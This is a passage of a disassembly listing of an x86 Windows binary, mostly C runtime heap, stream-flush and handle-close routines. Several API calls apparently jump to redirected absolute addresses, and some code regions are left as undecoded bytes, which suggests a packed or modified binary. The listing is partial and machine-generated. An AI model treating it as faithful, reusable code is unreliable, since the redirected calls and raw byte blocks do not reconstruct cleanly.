; ---------------------------------------------------------------------------


loc_41E1B4:				; CODE XREF: sub_41E0D4+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4DBE94
		nop
		call	near ptr 2710000h
		cmp	eax, esi
		jz	short loc_41E150


loc_41E1CD:				; CODE XREF: sub_41E0D4+6Bj
		dec	eax


loc_41E1CE:				; CODE XREF: sub_41E0D4+1Aj
					; sub_41E0D4+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41E0D4	endp

; ---------------------------------------------------------------------------
		db 6Dh
		dd 7746807Bh, 271B65EAh, 124FBEE6h, 0A164B780h,	0
		dd 25896450h, 0
		dd 5358EC83h, 65895756h, 91E890E8h, 33024737h, 89D48AD2h
		dd 4DBDF415h, 81C88B00h, 0FFE1h, 0F00D8900h, 0C1004DBDh
		dd 0CA0308E1h, 0BDEC0D89h, 0E8C1004Dh, 0BDE8A310h, 0F633004Dh
		dd 440E856h, 85590000h,	6A0875C0h, 0B0E81Ch, 89590000h
		dd 0C4E8FC75h, 0E8000058h, 2473730h, 0D38CA390h, 82E8004Dh
		dd 0A3000057h, 4DBE34h,	552BE8h, 546DE800h, 0F9E80000h
		dd 89FFFFDEh, 458DD075h, 0E89050A4h, 2471D88h, 53FEE8h
		dd 9C458900h, 1D045F6h,	0B70F0674h, 3EBD445h, 50580A6Ah
		dd 569C75FFh, 2BB0E856h, 50900228h, 0FE2F80E8h,	0A04589FFh
		dd 0DEE7E850h, 458BFFFFh, 8B088BECh, 984D8909h,	3CE85150h
		dd 59000052h, 658BC359h, 9875FFE8h, 0FFDED9E8h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_41E2C9	proc near		; CODE XREF: sub_41DA32+16p
					; ___:00423721p ...

arg_0		= dword	ptr  4

		cmp	dword_4DBE3C, 1
		jnz	short loc_41E2D7
		call	sub_423D98


loc_41E2D7:				; CODE XREF: sub_41E2C9+7j
		push	[esp+arg_0]
		call	sub_423DD1
		push	0FFh
		call	off_43AE40
		pop	ecx
		pop	ecx
		retn
sub_41E2C9	endp

; ---------------------------------------------------------------------------
		dw 3D83h
		dd offset dword_4DBE3C
		dd 0E8057501h, 5A9Ch, 42474FFh,	5ACCE8h, 0FF685900h, 90000000h
		dd 0A579A4E8h
		db 77h,	0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41E312	proc near		; CODE XREF: sub_41BA3B+2Ap
					; sub_42423B+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4DD140
		jnb	loc_41E3AC
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DD040h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41E3AC
		push	edi
		call	sub_4240AA
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41E38B
		cmp	edi, 1
		jz	short loc_41E359
		cmp	edi, 2
		jnz	short loc_41E36F


loc_41E359:				; CODE XREF: sub_41E312+40j
		push	2
		call	sub_4240AA
		push	1
		mov	ebp, eax
		call	sub_4240AA
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41E38B


loc_41E36F:				; CODE XREF: sub_41E312+45j
		push	edi
		call	sub_4240AA
		pop	ecx
		push	eax
		nop
		call	near ptr 2680157h
		test	eax, eax
		jnz	short loc_41E38B
		call	near ptr 26A096Ch
		nop
		mov	ebp, eax
		jmp	short loc_41E38D
; ---------------------------------------------------------------------------


loc_41E38B:				; CODE XREF: sub_41E312+3Bj
					; sub_41E312+5Bj ...
		xor	ebp, ebp


loc_41E38D:				; CODE XREF: sub_41E312+77j
		push	edi
		call	sub_424030
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41E3A8
		push	ebp
		call	sub_420C7F
		pop	ecx
		jmp	short loc_41E3BD
; ---------------------------------------------------------------------------


loc_41E3A8:				; CODE XREF: sub_41E312+8Bj
		xor	eax, eax
		jmp	short loc_41E3C0
; ---------------------------------------------------------------------------


loc_41E3AC:				; CODE XREF: sub_41E312+Ej
					; sub_41E312+2Fj
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9


loc_41E3BD:				; CODE XREF: sub_41E312+94j
		or	eax, 0FFFFFFFFh


loc_41E3C0:				; CODE XREF: sub_41E312+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41E312	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E3C5	proc near		; CODE XREF: sub_41BA3B+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41E3EE
		test	al, 8
		jz	short loc_41E3EE
		push	dword ptr [esi+8]
		call	sub_41BA91
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41E3EE:				; CODE XREF: sub_41E3C5+Aj
					; sub_41E3C5+Ej
		pop	esi
		retn
sub_41E3C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E3F0	proc near		; CODE XREF: sub_41E490+2Dp
					; sub_41E490+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41E402
		push	esi
		call	sub_41E490
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E402:				; CODE XREF: sub_41E3F0+7j
		push	esi
		call	sub_41E42B
		test	eax, eax
		pop	ecx
		jz	short loc_41E412
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E412:				; CODE XREF: sub_41E3F0+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41E427
		push	dword ptr [esi+10h]
		call	sub_4240E7
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41E427:				; CODE XREF: sub_41E3F0+26j
		xor	eax, eax
		pop	esi
		retn
sub_41E3F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E42B	proc near		; CODE XREF: sub_41BA3B+1Ap
					; ___:0041DAC2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41E478
		test	ax, 108h
		jz	short loc_41E478
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41E478
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_4230FB
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41E471
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41E478
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41E478
; ---------------------------------------------------------------------------


loc_41E471:				; CODE XREF: sub_41E42B+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_41E478:				; CODE XREF: sub_41E42B+14j
					; sub_41E42B+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41E42B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E487	proc near		; CODE XREF: sub_4241E3p
		push	1
		call	sub_41E490
		pop	ecx
		retn
sub_41E487	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E490	proc near		; CODE XREF: sub_41E3F0+Ap
					; sub_41E487+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4DD020, esi
		jle	short loc_41E4EE


loc_41E4A1:				; CODE XREF: sub_41E490+5Cj
		mov	eax, dword_4DC01C
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41E4E5
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41E4E5
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41E4CB
		push	eax
		call	sub_41E3F0
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41E4E5
		inc	ebx
		jmp	short loc_41E4E5
; ---------------------------------------------------------------------------


loc_41E4CB:				; CODE XREF: sub_41E490+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41E4E5
		test	cl, 2
		jz	short loc_41E4E5
		push	eax
		call	sub_41E3F0
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41E4E5
		or	edi, eax


loc_41E4E5:				; CODE XREF: sub_41E490+1Bj
					; sub_41E490+23j ...
		inc	esi
		cmp	esi, dword_4DD020
		jl	short loc_41E4A1


loc_41E4EE:				; CODE XREF: sub_41E490+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41E4F9
		mov	eax, edi


loc_41E4F9:				; CODE XREF: sub_41E490+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41E490	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E4FD	proc near		; CODE XREF: ___:0041E660p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		nop
		call	near ptr 26A0E4Ah
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41E528
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41E528
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al


loc_41E528:				; CODE XREF: sub_41E4FD+15j
					; sub_41E4FD+1Cj
		pop	esi
		retn
sub_41E4FD	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_41C500
		lea	eax, [ebp-98h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-98h], 94h
		nop
		call	near ptr 26F0582h
		test	eax, eax
		jz	short loc_41E56D
		cmp	dword ptr [ebp-88h], 2
		jnz	short loc_41E56D
		cmp	dword ptr [ebp-94h], 5
		jb	short loc_41E56D
		push	1
		pop	eax
		jmp	loc_41E66F
; ---------------------------------------------------------------------------


loc_41E56D:				; CODE XREF: ___:0041E551j
					; ___:0041E55Aj ...
		lea	eax, [ebp-122Ch]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		call	near ptr 28A0000h
		nop
		test	eax, eax
		jz	loc_41E65C
		xor	ebx, ebx
		lea	ecx, [ebp-122Ch]
		cmp	[ebp-122Ch], bl
		jz	short loc_41E5AF


loc_41E59C:				; CODE XREF: ___:0041E5ADj
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41E5AA
		cmp	al, 7Ah
		jg	short loc_41E5AA
		sub	al, 20h
		mov	[ecx], al


loc_41E5AA:				; CODE XREF: ___:0041E5A0j
					; ___:0041E5A4j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41E59C


loc_41E5AF:				; CODE XREF: ___:0041E59Aj
		lea	eax, [ebp-122Ch]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_41C850
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41E5D1
		lea	eax, [ebp-122Ch]
		jmp	short loc_41E61A
; ---------------------------------------------------------------------------


loc_41E5D1:				; CODE XREF: ___:0041E5C7j
		lea	eax, [ebp-19Ch]
		push	104h
		push	eax
		push	ebx
		nop
		call	near ptr 2690000h
		cmp	[ebp-19Ch], bl
		lea	ecx, [ebp-19Ch]
		jz	short loc_41E605


loc_41E5F2:				; CODE XREF: ___:0041E603j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41E600
		cmp	al, 7Ah
		jg	short loc_41E600
		sub	al, 20h
		mov	[ecx], al


loc_41E600:				; CODE XREF: ___:0041E5F6j
					; ___:0041E5FAj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41E5F2


loc_41E605:				; CODE XREF: ___:0041E5F0j
		lea	eax, [ebp-19Ch]
		push	eax
		lea	eax, [ebp-122Ch]
		push	eax
		call	sub_41C2E0
		pop	ecx
		pop	ecx


loc_41E61A:				; CODE XREF: ___:0041E5CFj
		cmp	eax, ebx
		jz	short loc_41E65C
		push	2Ch
		push	eax
		call	sub_41C990
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41E65C
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41E641


loc_41E633:				; CODE XREF: ___:0041E63Fj
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41E63C
		mov	[ecx], bl
		jmp	short loc_41E63D
; ---------------------------------------------------------------------------


loc_41E63C:				; CODE XREF: ___:0041E636j
		inc	ecx


loc_41E63D:				; CODE XREF: ___:0041E63Aj
		cmp	[ecx], bl
		jnz	short loc_41E633


loc_41E641:				; CODE XREF: ___:0041E631j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41C586
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41E66F
		cmp	eax, 3
		jz	short loc_41E66F
		cmp	eax, 1
		jz	short loc_41E66F


loc_41E65C:				; CODE XREF: ___:0041E586j
					; ___:0041E61Cj ...
		lea	eax, [ebp-4]
		push	eax
		call	sub_41E4FD
		cmp	byte ptr [ebp-4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3


loc_41E66F:				; CODE XREF: ___:0041E568j
					; ___:0041E650j ...
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dw 0C033h
		dd 4439006Ah, 680824h, 0F000010h, 0E850C094h, 2491978h
		dd 0A3C08590h, 4DD384h,	93E83674h, 83FFFFFEh, 88A303F8h
		dd 75004DD3h, 3F8680Dh,	24E80000h, 59000000h, 0F8830AEBh
		dd 0E8187502h, 0B5Eh, 0F75C085h, 0D38435FFh, 2FE8004Dh
		dd 90024827h, 6AC3C033h, 68C35801h, 140h, 35FF006Ah, 4DD384h
		dd 191EE890h, 0C085023Ch, 4DD37CA3h, 0C3017500h, 4244C8Bh
		dd 0D3742583h, 8300004Dh, 4DD37825h, 16A0000h, 4DD370A3h
		dd 800D8900h, 0C7004DD3h, 4DD36805h, 1000h
		db 0, 58h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41E717	proc near		; CODE XREF: sub_41BA91+17p
					; sub_41BBE2+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DD378
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4DD37C
		lea	ecx, [eax+ecx*4]


loc_41E727:				; CODE XREF: sub_41E717+26j
		cmp	eax, ecx
		jnb	short loc_41E73F
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41E741
		add	eax, 14h
		jmp	short loc_41E727
; ---------------------------------------------------------------------------


loc_41E73F:				; CODE XREF: sub_41E717+12j
		xor	eax, eax

locret_41E741:				; CODE XREF: sub_41E717+21j
		retn
sub_41E717	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E742	proc near		; CODE XREF: sub_41BA91+23p
					; sub_41BBE2+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41EA66
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41E818
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41E7A6
		push	3Fh
		pop	edx


loc_41E7A6:				; CODE XREF: sub_41E742+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41E7FA
		cmp	edx, 20h
		jnb	short loc_41E7D1
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E7F2
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E7F2
; ---------------------------------------------------------------------------


loc_41E7D1:				; CODE XREF: sub_41E742+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E7F2
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41E7F2:				; CODE XREF: sub_41E742+86j
					; sub_41E742+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41E7FD
; ---------------------------------------------------------------------------


loc_41E7FA:				; CODE XREF: sub_41E742+6Aj
		mov	ecx, [ebp+var_4]


loc_41E7FD:				; CODE XREF: sub_41E742+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx


loc_41E818:				; CODE XREF: sub_41E742+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41E826
		push	3Fh
		pop	edx


loc_41E826:				; CODE XREF: sub_41E742+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41E8C9
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41E84B
		mov	ebx, esi


loc_41E84B:				; CODE XREF: sub_41E742+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41E85D
		mov	edx, esi


loc_41E85D:				; CODE XREF: sub_41E742+117j
		cmp	ebx, edx
		jz	short loc_41E8C4
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41E8AC
		cmp	ebx, 20h
		jnb	short loc_41E88D
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E8AC
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41E8AC
; ---------------------------------------------------------------------------


loc_41E88D:				; CODE XREF: sub_41E742+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E8AC
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_41E8AC:				; CODE XREF: sub_41E742+128j
					; sub_41E742+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_41E8C4:				; CODE XREF: sub_41E742+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E8CC
; ---------------------------------------------------------------------------


loc_41E8C9:				; CODE XREF: sub_41E742+EDj
		mov	ebx, [ebp+arg_0]


loc_41E8CC:				; CODE XREF: sub_41E742+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41E8DA
		cmp	ebx, edx
		jz	loc_41E95B


loc_41E8DA:				; CODE XREF: sub_41E742+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41E95B
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41E932
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E921
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E921:				; CODE XREF: sub_41E742+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41E95B
; ---------------------------------------------------------------------------


loc_41E932:				; CODE XREF: sub_41E742+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E948
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E948:				; CODE XREF: sub_41E742+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_41E95B:				; CODE XREF: sub_41E742+192j
					; sub_41E742+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41EA66
		mov	eax, dword_4DD374
		test	eax, eax
		jz	loc_41EA58
		mov	ecx, dword_4DD36C
		mov	esi, dword_427068
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi
		mov	ecx, dword_4DD36C
		mov	eax, dword_4DD374
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4DD374
		mov	ecx, dword_4DD36C
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4DD374
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4DD374
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41E9E9
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4DD374


loc_41E9E9:				; CODE XREF: sub_41E742+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41EA58
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi
		mov	eax, dword_4DD374
		push	dword ptr [eax+10h]
		push	0
		push	dword_4DD384
		nop
		call	near ptr 27D05B8h
		mov	eax, dword_4DD378
		mov	edx, dword_4DD37C
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4DD374
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41D670
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4DD378
		cmp	eax, dword_4DD374
		jbe	short loc_41EA4E
		sub	[ebp+arg_0], 14h


loc_41EA4E:				; CODE XREF: sub_41E742+306j
		mov	eax, dword_4DD37C
		mov	dword_4DD370, eax


loc_41EA58:				; CODE XREF: sub_41E742+234j
					; sub_41E742+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_4DD36C, edi
		mov	dword_4DD374, eax


loc_41EA66:				; CODE XREF: sub_41E742+38j
					; sub_41E742+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E742	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EA6B	proc near		; CODE XREF: sub_41BBE2+77p
					; sub_41BEF3+18p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4DD378
		mov	edx, dword_4DD37C
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41EAAB
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41EABB
; ---------------------------------------------------------------------------


loc_41EAAB:				; CODE XREF: sub_41EA6B+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_41EABB:				; CODE XREF: sub_41EA6B+3Ej
		mov	eax, dword_4DD370
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41EAE2


loc_41EAC9:				; CODE XREF: sub_41EA6B+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41EAE2
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41EAC9


loc_41EAE2:				; CODE XREF: sub_41EA6B+5Cj
					; sub_41EA6B+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41EB60
		mov	ebx, edx


loc_41EAE9:				; CODE XREF: sub_41EA6B+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41EB05
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41EB03
		add	ebx, 14h
		jmp	short loc_41EAE9
; ---------------------------------------------------------------------------


loc_41EB03:				; CODE XREF: sub_41EA6B+91j
		cmp	ebx, eax


loc_41EB05:				; CODE XREF: sub_41EA6B+83j
		jnz	short loc_41EB60


loc_41EB07:				; CODE XREF: sub_41EA6B+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41EB1D
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41EB1A
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41EB07
; ---------------------------------------------------------------------------


loc_41EB1A:				; CODE XREF: sub_41EA6B+A5j
		cmp	ebx, [ebp+var_4]


loc_41EB1D:				; CODE XREF: sub_41EA6B+9Fj
		jnz	short loc_41EB45
		mov	ebx, edx


loc_41EB21:				; CODE XREF: sub_41EA6B+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41EB35
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41EB33
		add	ebx, 14h
		jmp	short loc_41EB21
; ---------------------------------------------------------------------------


loc_41EB33:				; CODE XREF: sub_41EA6B+C1j
		cmp	ebx, eax


loc_41EB35:				; CODE XREF: sub_41EA6B+BBj
		jnz	short loc_41EB45
		call	sub_41ED74
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41EB59


loc_41EB45:				; CODE XREF: sub_41EA6B:loc_41EB1Dj
					; sub_41EA6B:loc_41EB35j
		push	ebx
		call	sub_41EE25
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41EB60


loc_41EB59:				; CODE XREF: sub_41EA6B+D8j
		xor	eax, eax
		jmp	loc_41ED6F
; ---------------------------------------------------------------------------


loc_41EB60:				; CODE XREF: sub_41EA6B+7Aj
					; sub_41EA6B:loc_41EB05j ...
		mov	dword_4DD370, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41EB87
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41EBBE


loc_41EB87:				; CODE XREF: sub_41EA6B+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41EBBB


loc_41EBA4:				; CODE XREF: sub_41EA6B+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
